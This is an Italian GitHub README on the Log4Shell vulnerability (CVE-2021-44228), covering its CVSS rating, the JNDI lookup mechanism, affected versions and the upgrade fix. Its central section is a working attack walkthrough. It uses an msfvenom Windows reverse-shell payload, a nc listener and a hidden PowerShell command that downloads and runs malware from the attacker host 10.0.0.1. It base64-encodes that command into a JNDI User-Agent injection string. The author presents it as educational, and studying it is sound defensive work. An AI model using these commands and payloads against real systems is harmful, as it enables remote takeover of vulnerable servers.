Skip to content

Log4Shell (CVE-2021-44228): Descrizione, Exploitation e Mitigazione

Notifications You must be signed in to change notification settings

zaneef/CVE-2021-44228

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

11 Commits
 
 

Repository files navigation

CVE-2021-44228

Il 9 dicembre 2021 il mondo è venuto a conoscenza di una nuova falla di sicurezza riguardante Log4J. Il punteggio CVSSv3 (Common Vulnerability Scoring System) della vulnerabilità, è stato valutato pari a 10, rendendola così di livello critico (https://nvd.nist.gov/vuln/detail/CVE-2021-44228).

CVSSv3

Il suo vettore CVSSv3 è il seguente: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.

Facciamo un po' di chiarezza riguardo i valori così che possa venir compreso a pieno il motivo della valutazione:

  • AV:N (Attack Vector: Network) : Il vettore di attacco è la rete e quindi, un eventuale dispositivo vulnerabile, è exploitabile da remoto.
  • AC:L (Attack Complexity: Low) : La complessità dell'attacco è bassa e quindi effettuabile anche da un attaccante con poca conoscenza della vulnerabilità, del suo funzionamento o con poca skill
  • PR:N (Privileged Required: None) : Non è necessario alcun privilegio all'interno del sistema.
  • UI:N (User Interaction: None) : Il sistema è vulnerabile anche senza alcuna interazione da parte di un utente.
  • S:C (Scope: Changed)
  • C:H (Confidentiality: High) : La confidenzialità delle informazioni all'interno della macchina è completamente compromessa. Questo porta ad una perdita totale di segretezza dei dati e la divulgazione di essi all'attaccante.
  • I:H (Integrity: High) : L'integrità delle informazioni contenute nella macchina è completamente compromessa. Un attaccante può modificare o eliminare qualsiasi file.
  • A:H (Availability: High) : L'attaccante è in grado di negare comletamente l'accesso alle informazioni o i servizi della macchina.

Cos'è Log4J?

Log4J è una libreria Java, ora parte del progetto Apache Software Foundation, che permette di tenere sotto controllo lo stato di un'applicazione.

È lo standard de facto per il logging delle applicazioni Java.

Come funziona?

La vulnerabilità si basa su JNDI (Java Naming and Directory Interface): un'API Java che permette ad un applicativo di interagire con un servizio di directory esterno (per esempio LDAP).

L'interazione avviene tramite la funzionalità di lookup di JNDI che, abilitata nella configurazioni di default di Log4J, permette l'interazione con un server remoto.

TCP Reverse Shell via Log4J Exploitation

Alcune piccole precisazioni utili alla lettura:

  • L'IP della macchina dell'attaccante è 10.0.0.1
  • L'IP della macchina vulnerabile a Log4Shell è 10.0.0.2
  • Il sistema operativo della macchina vulnerabile è Windows con un'architettura x86
  • La macchina vulnerabile ha un'applicazione web in esecuzione sulla porta 80 e visitabile all'URL http://hackme.com
❗ ATTENZIONE ❗
La tecnica d'attacco descritta di seguito deve essere utile solo a comprendere la pericolosità effettiva della vulnerabilità in esame. L'autore prende le distanze e condanna ogni utilizzo improprio del seguente articolo.

L'obiettivo del seguente attacco è quello di sfruttare Log4Shell per riuscire a scaricare ed eseguire una reverse shell sul sistema vulnerabile così da aver il pieno controllo di esso.

1. Configurazione macchina attaccante

  1. Andiamo a scaricare la repository contenente il codice necessario per l'inizializzazione di un server LDAP malevolo
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.0.0.1 -p 2222
  1. Andiamo a creare una reverse shell in TCP per Windows tramite msfvenom così da poter ricevere, nella porta 8888, l'accesso remoto alla macchina
msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=8888 -f exe > payload.exe
  1. Inizializziamo un listener, tramite nc, nella porta 8888 per ricevere la connessione dalla reverse shell caricata nella macchina vulnerabile
nc -lvnp 8888
  1. Andiamo ad eseguire un server HTTP per permettere il download del malware dalla macchina bersaglio:
python3 -m http.server 4444
  1. Tramite il seguente comando in Powershell, l'attaccante sarà in grado di connettersi al proprio server HTTP, scaricare il malware all'interno della directory C:\windows\temp ed eseguirlo
powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")
  1. Andiamo a codificare il payload precedente in base64 tramite il seguente comando
echo 'powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")' | base64

Il risultato del comando precedente è il seguente:

cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=

2. Exploit

  1. Ipotizziamo che l'applicazione web registri l'User-Agent di un visitatore. L'attaccante invia una richiesta simile a:
GET / HTTP/1.1
Host: hackme.com
User-Agent: ${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}
  1. La stringa
${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}

viene passata a Log4J che la interpreta e, tramite JNDI, effettua la richiesta al server LDAP dell'attaccante

ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
  1. Viene scaricato il malware e viene eseguito.

  2. L'attaccante ottiene una shell della macchina sulla porta 8888.

Sono vulnerabile?

Prima di tutto è doveroso ricordare che è una vulnerabilità che comprende SOLO i software che utilizzano Java o qualche derivato (e ovviamente Log4J come libreria di logging).

  • 2.0-beta9 - 2.14.1: Le versioni vulnerabili a Log4Shell vanno dalla 2.0-beta9 alla 2.14.1.
  • 2.15.0: La versione 2.15.0 di Log4J è stata trovata vulnerabile. CVE-2021-45046. Al momento la valutazione della vulnerabililtà è "9.0 Critical".
  • 2.16.0: La versione 2.16.0 di Log4J è stata trovata vulnerabile. CVE-2021-45105. Al momento la valutazione della vulnerabilità è "7.5 High".

La versione 1.x di Log4J non è strettamente vulnerabile alla falla di sicurezza di riferimento ma, oltre ad essere stata messa in disuso nel 2015, è affetta dalla seguente vulnerabilità: CVE-2021-4104.

Come posso rimediare?

La soluzione migliore è quella di aggiornare Log4J alla versione 2.17.0.

About

Log4Shell (CVE-2021-44228): Descrizione, Exploitation e Mitigazione

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published